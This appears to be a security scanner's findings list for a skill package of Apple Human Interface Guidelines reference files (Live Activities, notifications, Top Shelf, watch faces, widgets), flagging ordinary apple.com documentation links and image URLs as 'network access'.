    Your Live Activity design applies to both CarPlay and Apple Watch, so design for both contexts. While Live Activities on Apple Watch can be interactive, the system deactivates interactive elements in CarPlay. For more information, refer to 
  • Network accessline 277
    **Consider creating a custom layout if your Live Activity would benefit from larger text or additional information.** Instead of using the default appearance in CarPlay, declare support for a [`ActivityFamily.small`](https://developer.apple
  • Network accessline 281
    ## [Platform considerations](https://developer.apple.com/design/human-interface-guidelines/live-activities#Platform-considerations)
  • Network accessline 285
    ### [macOS](https://developer.apple.com/design/human-interface-guidelines/live-activities#macOS)
  • Network accessline 289
    ### [watchOS](https://developer.apple.com/design/human-interface-guidelines/live-activities#watchOS)
  • Network accessline 297
    **Carefully consider including buttons or toggles in your custom layout.** The custom watchOS layout also applies to your Live Activity in CarPlay where the system deactivates interactive elements. If people are likely to start or observe y
  • Network accessline 299
    ![An illustration that shows the compact presentation of a Live Activity in the Dynamic Island on iPhone.](https://docs-assets.developer.apple.com/published/3f81a5e4da2d3e59a8018a9e1d45f52e/live-activities-ios-dynamic-island-default%402x.pn
  • Network accessline 301
    ![An illustration that shows the automatically generated default presentation of a Live Activity in a Smart Stack view, with the leading and trailing elements from the iPhone compact view spaced apart in the lower corners.](https://docs-ass
  • Network accessline 303
    ![An illustration that shows a custom presentation of a Live Activity in a Smart Stack view, with a balanced design that shows a graphical countdown timer balanced with explanatory text.](https://docs-assets.developer.apple.com/published/cd
  • Network accessline 316
    ## [Specifications](https://developer.apple.com/design/human-interface-guidelines/live-activities#Specifications)
  • Network accessline 320
    ### [CarPlay dimensions](https://developer.apple.com/design/human-interface-guidelines/live-activities#CarPlay-dimensions)
  • Network accessline 338
    ### [iOS dimensions](https://developer.apple.com/design/human-interface-guidelines/live-activities#iOS-dimensions)
  • Network accessline 380
    ### [iPadOS dimensions](https://developer.apple.com/design/human-interface-guidelines/live-activities#iPadOS-dimensions)
  • Network accessline 392
    ### [macOS dimensions](https://developer.apple.com/design/human-interface-guidelines/live-activities#macOS-dimensions)
  • Network accessline 396
    ### [watchOS dimensions](https://developer.apple.com/design/human-interface-guidelines/live-activities#watchOS-dimensions)
  • Network accessline 408
    ## [Resources](https://developer.apple.com/design/human-interface-guidelines/live-activities#Resources)
  • Network accessline 410
    #### [Developer documentation](https://developer.apple.com/design/human-interface-guidelines/live-activities#Developer-documentation)
  • Network accessline 412
    [ActivityKit](https://developer.apple.com/documentation/ActivityKit)
  • Network accessline 414
    [SwiftUI](https://developer.apple.com/documentation/SwiftUI)
  • Network accessline 416
    [WidgetKit](https://developer.apple.com/documentation/WidgetKit)
  • Network accessline 418
    [Developing a WidgetKit strategy](https://developer.apple.com/documentation/WidgetKit/Developing-a-WidgetKit-strategy) — WidgetKit
  • Network accessline 420
    #### [Videos](https://developer.apple.com/design/human-interface-guidelines/live-activities#Videos)
  • Network accessline 422
    [![](https://devimages-cdn.apple.com/wwdc-services/images/3055294D-836B-4513-B7B0-0BC5666246B0/3AE21C44-8831-4C0A-BCBE-68C437FB8FC8/9903_wide_250x141_1x.jpg) Turbocharge your app for CarPlay ](https://developer.apple.com/videos/play/wwdc202
  • Network accessline 424
    [![](https://devimages-cdn.apple.com/wwdc-services/images/3055294D-836B-4513-B7B0-0BC5666246B0/126547AE-9E47-4E15-AC05-5C50AB08CBEE/9952_wide_250x141_1x.jpg) What’s new in widgets ](https://developer.apple.com/videos/play/wwdc2025/278)
  • Network accessline 426
    [![](https://devimages-cdn.apple.com/wwdc-services/images/C03E6E6D-A32A-41D0-9E50-C3C6059820AA/F5E64E98-8296-44DA-89AE-814BAEA0A713/9220_wide_250x141_1x.jpg) Design Live Activities for Apple Watch ](https://developer.apple.com/videos/play/w
  • Network accessline 428
    [![](https://devimages-cdn.apple.com/wwdc-services/images/D35E0E85-CCB6-41A1-B227-7995ECD83ED5/73CFB4C1-8568-43E9-AECF-D679A7355B99/8255_wide_250x141_1x.jpg) Design dynamic Live Activities ](https://developer.apple.com/videos/play/wwdc2023/
  • Network accessline 430
    [![](https://devimages-cdn.apple.com/wwdc-services/images/D35E0E85-CCB6-41A1-B227-7995ECD83ED5/B13DB71E-9E8F-4A86-88B3-306C4E772627/8244_wide_250x141_1x.jpg) Meet ActivityKit ](https://developer.apple.com/videos/play/wwdc2023/10184)
  • Network accessline 432
    ## [Change log](https://developer.apple.com/design/human-interface-guidelines/live-activities#Change-log)

skills/hig-components-system/references/notifications.md

  • Broad permissionsline 1
    Unsupported or unresolved allowed-tools declaration
  • Network accessline 1
    --- title: "Notifications | Apple Developer Documentation" source: https://developer.apple.com/design/human-interface-guidelines/notifications
  • Network accessline 3
    source: https://developer.apple.com/design/human-interface-guidelines/notifications
  • Network accessline 9
    ![A stylized representation of a notification mockup. The image is tinted red to subtly reflect the red in the original six-color Apple logo.](https://docs-assets.developer.apple.com/published/49d8e391f869407a8b755b57ee180c83/components-not
  • Network accessline 11
    Before you can send any notifications to people, you have to get their consent (for developer guidance, see [Asking permission to use notifications](https://developer.apple.com/documentation/UserNotifications/asking-permission-to-use-notifi
  • Network accessline 13
    ## [Anatomy](https://developer.apple.com/design/human-interface-guidelines/notifications#Anatomy)
  • Network accessline 28
    ## [Best practices](https://developer.apple.com/design/human-interface-guidelines/notifications#Best-practices)
  • Network accessline 34
    **Avoid sending a notification that tells people to perform specific tasks within your app.** If it makes sense to offer simple tasks that people can perform without opening your app, you can provide [notification actions](https://developer
  • Network accessline 36
    **Use an alert — not a notification — to display an error message.** People are familiar with both alerts and notifications, so you don’t want to cause confusion by using the wrong component. For guidance, see [Alerts](https://developer.app
  • Network accessline 42
    ## [Content](https://developer.apple.com/design/human-interface-guidelines/notifications#Content)
  • Network accessline 46
    **Create a short title if it provides context for the notification content.** Prefer brief titles that people can read at a glance, especially on Apple Watch, where space is limited. When possible, take advantage of the prominent notificati
  • Network accessline 50
    **Provide generically descriptive text to display when notification previews aren’t available.** In Settings, people can choose to hide notification previews for all apps. In this situation, the system shows only your app icon and the defau
  • Network accessline 54
    **Consider providing a sound to supplement your notifications.** Sound can be a great way to distinguish your app’s notifications and get someone’s attention when they’re not looking at the device. You can create a custom sound that coordin
  • Network accessline 56
    ## [Notification actions](https://developer.apple.com/design/human-interface-guidelines/notifications#Notification-actions)
  • Network accessline 58
    A notification can present a customizable detail view that contains up to four buttons people use to perform actions without opening your app. For example, a Calendar event notification provides a Snooze button that postpones the event’s al
  • Network accessline 66
    **Provide a simple, recognizable interface icon for each notification action.** An interface icon reinforces an action’s meaning, helping people instantly understand what it does. The system displays your interface icon on the trailing side
  • Network accessline 68
    ## [Badging](https://developer.apple.com/design/human-interface-guidelines/notifications#Badging)
  • Network accessline 80
    ## [Platform considerations](https://developer.apple.com/design/human-interface-guidelines/notifications#Platform-considerations)
  • Network accessline 84
    ### [watchOS](https://developer.apple.com/design/human-interface-guidelines/notifications#watchOS)
  • Network accessline 90
    #### [Short looks](https://developer.apple.com/design/human-interface-guidelines/notifications#Short-looks)
  • Network accessline 94
    ![An illustration that represents a short look notification from a generic app. It includes a large primary image in the center, a title, and a short preview of the notification content.](https://docs-assets.developer.apple.com/published/60
  • Network accessline 100
    #### [Long looks](https://developer.apple.com/design/human-interface-guidelines/notifications#Long-looks)
  • Network accessline 104
    ![An illustration that represents a long look notification from a generic app. It includes a small primary image in the upper left corner, badging a platter with the notification title and content. Beneath the notification are two full widt
  • Network accessline 110
    **Consider using a rich, custom long-look notification to let people get the information they need without launching your app.** You can use SwiftUI [Animations](https://developer.apple.com/documentation/SwiftUI/Animations) to create engagi
  • Network accessline 120
    #### [Double tap](https://developer.apple.com/design/human-interface-guidelines/notifications#Double-tap)
  • Network accessline 126
    ## [Resources](https://developer.apple.com/design/human-interface-guidelines/notifications#Resources)
  • Network accessline 128
    #### [Related](https://developer.apple.com/design/human-interface-guidelines/notifications#Related)
  • Network accessline 130
    [Managing notifications](https://developer.apple.com/design/human-interface-guidelines/managing-notifications)
  • Network accessline 132
    [Alerts](https://developer.apple.com/design/human-interface-guidelines/alerts)
  • Network accessline 134
    #### [Developer documentation](https://developer.apple.com/design/human-interface-guidelines/notifications#Developer-documentation)
  • Network accessline 136
    [Asking permission to use notifications](https://developer.apple.com/documentation/UserNotifications/asking-permission-to-use-notifications) — User Notifications
  • Network accessline 138
    [User Notifications UI](https://developer.apple.com/documentation/UserNotificationsUI)
  • Network accessline 140
    [User Notifications](https://developer.apple.com/documentation/UserNotifications)
  • Network accessline 142
    #### [Videos](https://developer.apple.com/design/human-interface-guidelines/notifications#Videos)
  • Network accessline 144
    [![](https://devimages-cdn.apple.com/wwdc-services/images/119/B63A08EA-8856-4C77-9E1B-EA1CAD990619/4986_wide_250x141_1x.jpg) Send communication and Time Sensitive notifications ](https://developer.apple.com/videos/play/wwdc2021/10091)
  • Network accessline 146
    [![](https://devimages-cdn.apple.com/wwdc-services/images/49/3D8237BC-06E3-4711-8552-7008A5D5BAAD/3764_wide_250x141_1x.jpg) The Push Notifications primer ](https://developer.apple.com/videos/play/wwdc2020/10095)
  • Network accessline 148
    ## [Change log](https://developer.apple.com/design/human-interface-guidelines/notifications#Change-log)

skills/hig-components-system/references/top-shelf.md

  • Network accessline 1
    --- title: "Top Shelf | Apple Developer Documentation" source: https://developer.apple.com/design/human-interface-guidelines/top-shelf
  • Network accessline 3
    source: https://developer.apple.com/design/human-interface-guidelines/top-shelf
  • Network accessline 9
    ![A stylized representation of a horizontal list of media previews above rows of Apple TV apps. The image is tinted red to subtly reflect the red in the original six-color Apple logo.](https://docs-assets.developer.apple.com/published/73359
  • Network accessline 15
    The system defines several layout templates that you can use to give people a compelling Top Shelf experience when they select your app in the Dock. To help you position content, you can download these templates from [Apple Design Resources
  • Network accessline 17
    ## [Best practices](https://developer.apple.com/design/human-interface-guidelines/top-shelf#Best-practices)
  • Network accessline 19
    **Help people jump right into your content.** Top Shelf provides a path to the content people care about most. Two of the system-provided layout templates — [carousel actions](https://developer.apple.com/design/human-interface-guidelines/to
  • Network accessline 27
    **Showcase compelling dynamic content that can help draw people in and encourage them to view more.** If necessary, you can supply static images, but people typically prefer a captivating, dynamic Top Shelf experience that features the newe
  • Network accessline 37
    ## [Dynamic layouts](https://developer.apple.com/design/human-interface-guidelines/top-shelf#Dynamic-layouts)
  • Network accessline 50
    ### [Carousel actions](https://developer.apple.com/design/human-interface-guidelines/top-shelf#Carousel-actions)
  • Network accessline 56
    ### [Carousel details](https://developer.apple.com/design/human-interface-guidelines/top-shelf#Carousel-details)
  • Network accessline 62
    ### [Sectioned content row](https://developer.apple.com/design/human-interface-guidelines/top-shelf#Sectioned-content-row)
  • Network accessline 70
    #### [Poster (2:3)](https://developer.apple.com/design/human-interface-guidelines/top-shelf#Poster-23)
  • Network accessline 72
    ![An illustration showing an outlined rectangle that contains a slightly smaller rectangle, which contains a slight narrower rectangle. The outermost rectangle represents the actual size, the middle rectangle represents the visible or safe 
  • Network accessline 80
    #### [Square (1:1)](https://developer.apple.com/design/human-interface-guidelines/top-shelf#Square-11)
  • Network accessline 82
    ![An illustration showing an outlined square that contains a slightly smaller square, which contains a slightly smaller square. The outermost  square represents the actual size, the middle square represents the visible or safe zone, and the
  • Network accessline 90
    #### [16:9](https://developer.apple.com/design/human-interface-guidelines/top-shelf#169)
  • Network accessline 92
    ![An illustration showing an outlined rectangle that contains a slightly smaller rectangle, which contains a slightly smaller rectangle. The outermost rectangle represents the actual size, the middle rectangle represents the visible or safe
  • Network accessline 102
    #### [Scrolling inset banner](https://developer.apple.com/design/human-interface-guidelines/top-shelf#Scrolling-inset-banner)
  • Network accessline 110
    **If you need text, add it to your image.** This layout style doesn’t show labels under content, so all text must be part of the image itself. In layered images, consider elevating text by placing it on a dedicated layer above the others. A
  • Network accessline 112
    ![An illustration showing a wide rectangle that contains of a smaller rectangle, which contains a slightly narrower rectangle. The outermost rectangle represents the actual size, the middle rectangle represents the visible or safe zone, and
  • Network accessline 122
    ## [Platform considerations](https://developer.apple.com/design/human-interface-guidelines/top-shelf#Platform-considerations)
  • Network accessline 126
    ## [Resources](https://developer.apple.com/design/human-interface-guidelines/top-shelf#Resources)
  • Network accessline 128
    #### [Related](https://developer.apple.com/design/human-interface-guidelines/top-shelf#Related)
  • Network accessline 130
    [Apple Design Resources](https://developer.apple.com/design/resources/#tvos-apps)
  • Network accessline 132
    #### [Videos](https://developer.apple.com/design/human-interface-guidelines/top-shelf#Videos)
  • Network accessline 134
    [![](https://devimages-cdn.apple.com/wwdc-services/images/48/21CB7C2D-31A3-4DE5-A0EE-58FE214031F0/2713_wide_250x141_1x.jpg) Mastering the Living Room With tvOS ](https://developer.apple.com/videos/play/wwdc2019/211)

skills/hig-components-system/references/watch-faces.md

  • Broad permissionsline 1
    Unsupported or unresolved allowed-tools declaration
  • Network accessline 1
    --- title: "Watch faces | Apple Developer Documentation" source: https://developer.apple.com/design/human-interface-guidelines/watch-faces
  • Network accessline 3
    source: https://developer.apple.com/design/human-interface-guidelines/watch-faces
  • Network accessline 9
    ![A stylized representation of a series of Apple Watch faces. The image is tinted red to subtly reflect the red in the original six-color Apple logo.](https://docs-assets.developer.apple.com/published/bdf9c3962f71506a149c0ee448c2a0ad/compon
  • Network accessline 17
    ## [Best practices](https://developer.apple.com/design/human-interface-guidelines/watch-faces#Best-practices)
  • Network accessline 21
    **Display a preview of each watch face you share.** Displaying a preview that highlights the advantages of your watch face can help people visualize its benefits. You can get a preview by using the iOS Watch app to email the watch face to y
  • Network accessline 27
    ## [Platform considerations](https://developer.apple.com/design/human-interface-guidelines/watch-faces#Platform-considerations)
  • Network accessline 31
    ## [Resources](https://developer.apple.com/design/human-interface-guidelines/watch-faces#Resources)
  • Network accessline 33
    #### [Related](https://developer.apple.com/design/human-interface-guidelines/watch-faces#Related)
  • Network accessline 35
    [Apple Design Resources — Product Bezels](https://developer.apple.com/design/resources/#product-bezels)
  • Network accessline 37
    #### [Developer documentation](https://developer.apple.com/design/human-interface-guidelines/watch-faces#Developer-documentation)
  • Network accessline 39
    [Sharing an Apple Watch face](https://developer.apple.com/documentation/ClockKit/sharing-an-apple-watch-face) — ClockKit

skills/hig-components-system/references/widgets.md

  • Broad permissionsline 1
    Unsupported or unresolved allowed-tools declaration
  • Network accessline 1
    --- title: "Widgets | Apple Developer Documentation" source: https://developer.apple.com/design/human-interface-guidelines/widgets
  • Network accessline 3
    source: https://developer.apple.com/design/human-interface-guidelines/widgets
  • Network accessline 9
    ![A stylized representation of a set of different-sized widgets on an iPad Home Screen. The image is tinted red to subtly reflect the red in the original six-color Apple logo.](https://docs-assets.developer.apple.com/published/1d1cd14d565d4
  • Network accessline 24
    ## [Anatomy](https://developer.apple.com/design/human-interface-guidelines/widgets#Anatomy)
  • Network accessline 39
    ### [System family widgets](https://developer.apple.com/design/human-interface-guidelines/widgets#System-family-widgets)
  • Network accessline 51
    ![An image of the small Calendar widget, showing only the current date and one event.](https://docs-assets.developer.apple.com/published/0089454df2b0b32f6ca892f3131bdb01/widgets-calendar-small%402x.png)
  • Network accessline 53
    ![An image of the medium Calendar widget, which has the same height as the small widget, but twice the width. On the left, the widget repeats the small widget’s information, adding a birthday event; on the right the medium widget adds infor
  • Network accessline 55
    ![An image of the large Calendar widget, which has the same width as the medium widget, but a little more than twice the height. Like the medium widget, the large widget displays information about today on the left and information about tom
  • Network accessline 57
    ![An image of the extra large Calendar widget, which is about twice the width of the large widget and a little shorter. The widget displays information about today and the following three days, including relevant time-of-day indicators in a
  • Network accessline 59
    ![An image of the extra large portrait Music widget, which has the same width as the large widget but is taller.](https://docs-assets.developer.apple.com/published/4ff038f07eaedfa7579dfa7e0ef38099/widgets-music-extra-large-portrait%402x.png
  • Network accessline 71
    ### [Accessory widgets](https://developer.apple.com/design/human-interface-guidelines/widgets#Accessory-widgets)
  • Network accessline 82
    ![An image of the circular accessory Calendar widget, showing only the time for the next event.](https://docs-assets.developer.apple.com/published/8f496e2dce59da3b8607cb07e4c4215c/widgets-accessory-calendar-circular%402x.png)
  • Network accessline 84
    ![An image of the corner accessory Calendar widget. It displays the time and title of an upcoming meeting.](https://docs-assets.developer.apple.com/published/ee66466be7aa2d47efc551196156b8fa/widgets-accessory-corner-widget-watch%402x.png)
  • Network accessline 86
    ![An image of the inline accessory Calendar widget, showing the date and the number of the next events.](https://docs-assets.developer.apple.com/published/b9af2a21096e381b9e3734e0119b7b09/widgets-accessory-calendar-inline%402x.png)
  • Network accessline 88
    ![An image of the rectangular accessory Calendar widget. It displays the time of two simultaneous events and their titles.](https://docs-assets.developer.apple.com/published/8709b464372ab0810be34a951879ceec/widgets-accessory-calendar-rectan
  • Network accessline 99
    ### [Appearances](https://developer.apple.com/design/human-interface-guidelines/widgets#Appearances)
  • Network accessline 110
    ![An image of the small Stocks widget on the Home Screen in the full-color appearance.](https://docs-assets.developer.apple.com/published/c001f107005e17afb9e12d48d162dcb2/widgets-stocks-default%402x.png)Full-color
  • Network accessline 112
    ![An image of the small Stocks widget on the Home Screen in the clear appearance.](https://docs-assets.developer.apple.com/published/ad7a87eea7f2be4863cf6a2e8d8a7639/widgets-stocks-clear%402x.png)Clear
  • Network accessline 114
    ![An image of the small Stocks widget on the Home Screen in the tinted appearance.](https://docs-assets.developer.apple.com/published/25e58f2c47d8b6d863187721d5c4abe9/widgets-stocks-tinted%402x.png)Tinted
  • Network accessline 121
    ![An image of the small Stocks widget on Apple Vision Pro.](https://docs-assets.developer.apple.com/published/4b4e42b658c77b47c0f40d4d433d7b3b/widgets-stocks-visionos-frame%402x.png)
  • Network accessline 128
    ![An image of the small Stocks widget on the Lock Screen, showing the price of Apple stock.](https://docs-assets.developer.apple.com/published/58aef111a6a92a03981f5998720bca48/widgets-stocks-ipad-lock-screen%402x.png)
  • Network accessline 135
    ![An image of the Stocks widget on the Lock Screen in StandBy, showing the price of Apple stock.](https://docs-assets.developer.apple.com/published/cc1129210235e90f1ee9045eaf85dfb9/widgets-stocks-standby%402x.png)StandBy
  • Network accessline 137
    ![An image of the Stocks widget on the Lock Screen that uses the dark appearance in low-light conditions, showing the price of Apple stock.](https://docs-assets.developer.apple.com/published/eb666a28d966abb92b34bdb0d14d8e0b/widgets-stocks-s
  • Network accessline 154
    ![A rectangular accessory Calendar widget on the Lock Screen of iPhone, displaying a team meeting at 4 P.M. in a conference room.](https://docs-assets.developer.apple.com/published/1bf7a8ed9890752d8aac424f5406e978/widgets-calendar-rectangul
  • Network accessline 156
    ![A rectangular Calendar watch complication, displaying a team meeting at 4 P.M. in a conference room.](https://docs-assets.developer.apple.com/published/817c517d1183f2d8a797d7b304cefab3/widgets-calendar-rectangular-watchos-complication%402
  • Network accessline 158
    ![A Calendar widget in the Smart Stack on Apple Watch. It displays a team meeting at 4 P.M. in a conference room.](https://docs-assets.developer.apple.com/published/a2d56d27563c849f1a5bc6b24406c59d/widgets-calendar-rectangular-watchos-smart
  • Network accessline 160
    Each appearance described above includes a [rendering mode](https://developer.apple.com/design/human-interface-guidelines/widgets#Rendering-modes) that depends on the platform and a person’s appearance settings:
  • Network accessline 162
    * The system uses the [full color](https://developer.apple.com/documentation/WidgetKit/WidgetRenderingMode/fullColor) rendering mode for system family widgets across all platforms to display your widget in full color. It doesn’t change the 
  • Network accessline 164
    * The system uses the [accented](https://developer.apple.com/documentation/WidgetKit/WidgetRenderingMode/accented) rendering mode for system family widgets across all platforms and for accessory widgets on Apple Watch. In the accented rende
  • Network accessline 166
    * The system uses the [vibrant](https://developer.apple.com/documentation/WidgetKit/WidgetRenderingMode/vibrant) rendering mode for widgets on the Lock Screen of iPhone and iPad, and on iPhone in StandBy in low-light conditions. It desatura
  • Network accessline 181
    For additional design guidance, see [Rendering modes](https://developer.apple.com/design/human-interface-guidelines/widgets#Rendering-modes). For developer guidance, see [Preparing widgets for additional platforms, contexts, and appearances
  • Network accessline 183
    ## [Best practices](https://developer.apple.com/design/human-interface-guidelines/widgets#Best-practices)
  • Network accessline 187
    ![An image of a small Weather widget showing current conditions for Cupertino. In text, the widget displays a temperature of 70 degrees, the condition Sunny, and forecast high and low temperatures of 75 degrees and 59 degrees, respectively.
  • Network accessline 203
    **Choose between automatically displaying content and letting people customize displayed information.** In some cases, people need to configure a widget to ensure it displays the information that’s most useful for them. For example, the Sto
  • Network accessline 209
    ### [Updating widget content](https://developer.apple.com/design/human-interface-guidelines/widgets#Updating-widget-content)
  • Network accessline 215
    **Use system functionality to refresh dates and times in your widget.** Because widget update frequency is limited, let the system automatically refresh date and time information to preserve update opportunities. Determine the update freque
  • Network accessline 217
    **Use animated transitions to bring attention to data updates.** By default, many SwiftUI views animate content updates. Additionally, use standard and custom animations with a duration of up to two seconds to let people know when new infor
  • Network accessline 219
    ### [Adding interactivity](https://developer.apple.com/design/human-interface-guidelines/widgets#Adding-interactivity)
  • Network accessline 223
    ![An image of the large Reminders widget with a toggle for each task. None of the tasks is complete.](https://docs-assets.developer.apple.com/published/71a7227a45af08e53dccfcc4b9d9ffe4/widgets-reminders-large-unselected%402x.png)Incomplete 
  • Network accessline 225
    ![An image of the large Reminders widget with a toggle for each task. The toggles for the first and third items in the list indicate that these tasks are complete.](https://docs-assets.developer.apple.com/published/6d2286d6fb3ded274a98ce9c2
  • Network accessline 231
    ![An image of a medium Stocks watchlist widget, listing two stock market indices and one stock symbol. Each row displays the index or symbol name on the left, a graph section in the middle, and a current quote, including a value change, on 
  • Network accessline 235
    ### [Choosing margins and padding](https://developer.apple.com/design/human-interface-guidelines/widgets#Choosing-margins-and-padding)
  • Network accessline 239
    As you design for various devices and scale factors, use the values listed in [Specifications](https://developer.apple.com/design/human-interface-guidelines/widgets#Specifications) and the [Apple Design Resources](https://developer.apple.co
  • Network accessline 241
    **In general, use standard margins to ensure legibility.** Use the standard margin width for widgets — 16 points for most widgets — to avoid crowding their edges and creating a cluttered appearance. If you need to use tighter margins — for 
  • Network accessline 243
    **Coordinate the corner radius of your content with the corner radius of the widget.** To ensure that your content looks good within a widget’s rounded corners, use a SwiftUI container to apply the correct corner radius. For developer guida
  • Network accessline 245
    ### [Displaying text in widgets](https://developer.apple.com/design/human-interface-guidelines/widgets#Displaying-text-in-widgets)
  • Network accessline 247
    **Prefer using the system font, text styles, and SF Symbols.** Using the system font helps your widget look at home on any platform, while making it easier for you to display great-looking text in a variety of weights, styles, and sizes. Us
  • Network accessline 255
    In iOS, iPadOS, and visionOS, widgets support Dynamic Type sizes from Large to AX5 when you use [`Font`](https://developer.apple.com/documentation/SwiftUI/Font) to choose a system font or [`custom(_:size:)`](https://developer.apple.com/docu
  • Network accessline 257
    ### [Using color](https://developer.apple.com/design/human-interface-guidelines/widgets#Using-color)
  • Network accessline 265
    ## [Rendering modes](https://developer.apple.com/design/human-interface-guidelines/widgets#Rendering-modes)
  • Network accessline 267
    ### [Full-color](https://developer.apple.com/design/human-interface-guidelines/widgets#Full-color)
  • Network accessline 269
    **Support light and dark appearances.** Prefer light backgrounds for the light appearance and dark backgrounds for the dark appearance, and consider using the semantic system colors for text and backgrounds to let the colors dynamically ada
  • Network accessline 271
    ![An image of the small Notes widget. Below the yellow bar that contains the app icon and name, the widget displays a single note in black text on a white background.](https://docs-assets.developer.apple.com/published/fe8bbb296cb8ad12a123b9
  • Network accessline 273
    ![An image of the small Notes widget. Below the yellow bar that contains the app icon and name, the widget displays a single note in white text on a black background.](https://docs-assets.developer.apple.com/published/3e2a0cd6e7b33ef2ea4797
  • Network accessline 275
    ### [Accented](https://developer.apple.com/design/human-interface-guidelines/widgets#Accented)
  • Network accessline 279
    For developer guidance, see [`widgetAccentable(_:)`](https://developer.apple.com/documentation/SwiftUI/View/widgetAccentable\(_:\)) and [Optimizing your widget for accented rendering mode and Liquid Glass](https://developer.apple.com/docume
  • Network accessline 281
    ### [Vibrant](https://developer.apple.com/design/human-interface-guidelines/widgets#Vibrant)
  • Network accessline 287
    ## [Previews and placeholders](https://developer.apple.com/design/human-interface-guidelines/widgets#Previews-and-placeholders)
  • Network accessline 293
    ![An image of a small Tips widget that displays placeholder content on top of a yellow background. In the bottom half of the widget, three horizontal bars in different shades of yellow represent lines of text.](https://docs-assets.developer
  • Network accessline 295
    ![An image of a small Tips widget that displays actual data on top of a yellow background. The horizontal bars in the placeholder widget are replaced by three short lines of text in different shades of yellow.](https://docs-assets.developer
  • Network accessline 297
    **Write a succinct widget description.** The widget gallery displays descriptions that help people understand what each widget does. Begin a description with an action verb — for example, “See the current weather conditions and forecast for
  • Network accessline 303
    ![An illustration that represents the widget gallery open to the small widget for the Notes app. Below the widget is a page control showing that this is the first page of six; below the page control is a button that uses the Notes app's yel
  • Network accessline 305
    ![An illustration that represents the widget gallery open to the small widget for the Weather app. Below the widget is a page control showing that this is the first page of six; below the page control is a button that uses the Weather app's
  • Network accessline 307
    ## [Platform considerations](https://developer.apple.com/design/human-interface-guidelines/widgets#Platform-considerations)
  • Network accessline 311
    ### [iOS, iPadOS](https://developer.apple.com/design/human-interface-guidelines/widgets#iOS-iPadOS)
  • Network accessline 313
    Widgets on the Lock Screen are functionally similar to watch complications and follow design principles for [Complications](https://developer.apple.com/design/human-interface-guidelines/complications) in addition to design principles for wi
  • Network accessline 317
    ![A partial screenshot of the Lock Screen on iPhone that shows a Calendar widget and two Weather widgets below the time. From the left, the widgets are an inline text widget and two circular widgets.](https://docs-assets.developer.apple.com
  • Network accessline 321
    For developer guidance, see [Creating accessory widgets and watch complications](https://developer.apple.com/documentation/WidgetKit/Creating-accessory-widgets-and-watch-complications).
  • Network accessline 323
    **Offer Live Activities to show real-time updates.** Widgets don’t show real-time information. If your app allows people to track the progress of a task or event for a limited amount of time with frequent updates, consider offering Live Act
  • Network accessline 325
    #### [StandBy and CarPlay](https://developer.apple.com/design/human-interface-guidelines/widgets#StandBy-and-CarPlay)
  • Network accessline 336
    ![An image of iPhone in StandBy. It shows a Clock widget on the left that displays the time as 9:41 a.m. and a Weather widget set to Cupertino with the temperature at 70 degrees Fahrenheit on the right.](https://docs-assets.developer.apple.
  • Network accessline 338
    ![A checkmark in a circle to indicate correct usage.](https://docs-assets.developer.apple.com/published/88662da92338267bb64cd2275c84e484/checkmark%402x.png)
  • Network accessline 340
    ![An image of iPhone in StandBy. It shows a Clock widget on the left that displays the time as 9:41 a.m. and a Weather widget set to Cupertino with the temperature at 70 degrees Fahrenheit on the right. The Watch widget appears with the bac
  • Network accessline 342
    ![An X in a circle to indicate incorrect usage.](https://docs-assets.developer.apple.com/published/209f6f0fc8ad99d9bf59e12d82d06584/crossout%402x.png)
  • Network accessline 344
    For developer guidance, see [Displaying the right widget background](https://developer.apple.com/documentation/WidgetKit/Displaying-the-right-widget-background).
  • Network accessline 348
    ![An image of iPhone in low-light conditions. It shows a Clock widget on the left that displays the time as 9:41 a.m. and a Weather widget set to Cupertino with the temperature at 70 degrees Fahrenheit on the right.](https://docs-assets.dev
  • Network accessline 352
    ### [visionOS](https://developer.apple.com/design/human-interface-guidelines/widgets#visionOS)
  • Network accessline 358
    For developer guidance, see [Updating your widgets for visionOS](https://developer.apple.com/documentation/WidgetKit/Updating-your-widgets-for-visionOS).
  • Network accessline 364
    #### [Thresholds and sizes](https://developer.apple.com/design/human-interface-guidelines/widgets#Thresholds-and-sizes)
  • Network accessline 366
    Widgets on Apple Vision Pro can adapt based on a person’s proximity, and visionOS provides widgets with two key thresholds to design for: the [`simplified`](https://developer.apple.com/documentation/WidgetKit/LevelOfDetail/simplified) thres
  • Network accessline 368
    ![A placeholder image showing a widget viewed from a distance in visionOS.](https://docs-assets.developer.apple.com/published/0ab3137bf116e4640762c25ac6139f93/widgets-extra-large-portrait-far-proximity%402x.png)Viewed from a distance
  • Network accessline 370
    ![A placeholder image showing a widget viewed from nearby in visionOS.](https://docs-assets.developer.apple.com/published/c3f6fbe96de6d0b9524ad7f2001755a6/widgets-extra-large-portrait-close-proximity%402x.png)Viewed from nearby
  • Network accessline 380
    #### [Mounting styles](https://developer.apple.com/design/human-interface-guidelines/widgets#Mounting-styles)
  • Network accessline 384
    * **[Elevated](https://developer.apple.com/documentation/WidgetKit/WidgetMountingStyle/elevated) style**. On horizontal surfaces — for example, on a desk — the widget always appears elevated and gently tilts backward, providing a subtle ang
  • Network accessline 386
    * **[Recessed](https://developer.apple.com/documentation/WidgetKit/WidgetMountingStyle/recessed) style**. On vertical surfaces — for example, on a wall — the widget can appear recessed, with content set back into the surface, creating a dep
  • Network accessline 397
    Use the [`supportedMountingStyles(_:)`](https://developer.apple.com/documentation/SwiftUI/WidgetConfiguration/supportedMountingStyles\(_:\)) property of your [`WidgetConfiguration`](https://developer.apple.com/documentation/SwiftUI/WidgetCo
  • Network accessline 401
    #### [Treatment styles](https://developer.apple.com/design/human-interface-guidelines/widgets#Treatment-styles)
  • Network accessline 405
    * The [`paper`](https://developer.apple.com/documentation/WidgetKit/WidgetTexture/paper) style creates a more grounded, print-like style that feels solid and makes the widget feel like part of its surroundings. When lighting conditions chan
  • Network accessline 407
    * The [`glass`](https://developer.apple.com/documentation/WidgetKit/WidgetTexture/glass) style creates a lighter, layered look that adds depth and visual separation between foreground and background elements to emphasize clarity and contras
  • Network accessline 416
    ### [watchOS](https://developer.apple.com/design/human-interface-guidelines/widgets#watchOS)
  • Network accessline 420
    **Encourage the system to display or elevate the position of your watchOS widget in the Smart Stack.** Relevancy information helps the system show your widget when people need it most. Relevance can be location-based or specific to ongoing 
  • Network accessline 422
    ## [Specifications](https://developer.apple.com/design/human-interface-guidelines/widgets#Specifications)
  • Network accessline 426
    ### [iOS dimensions](https://developer.apple.com/design/human-interface-guidelines/widgets#iOS-dimensions)
  • Network accessline 441
    ### [iPadOS dimensions](https://developer.apple.com/design/human-interface-guidelines/widgets#iPadOS-dimensions)
  • Network accessline 468
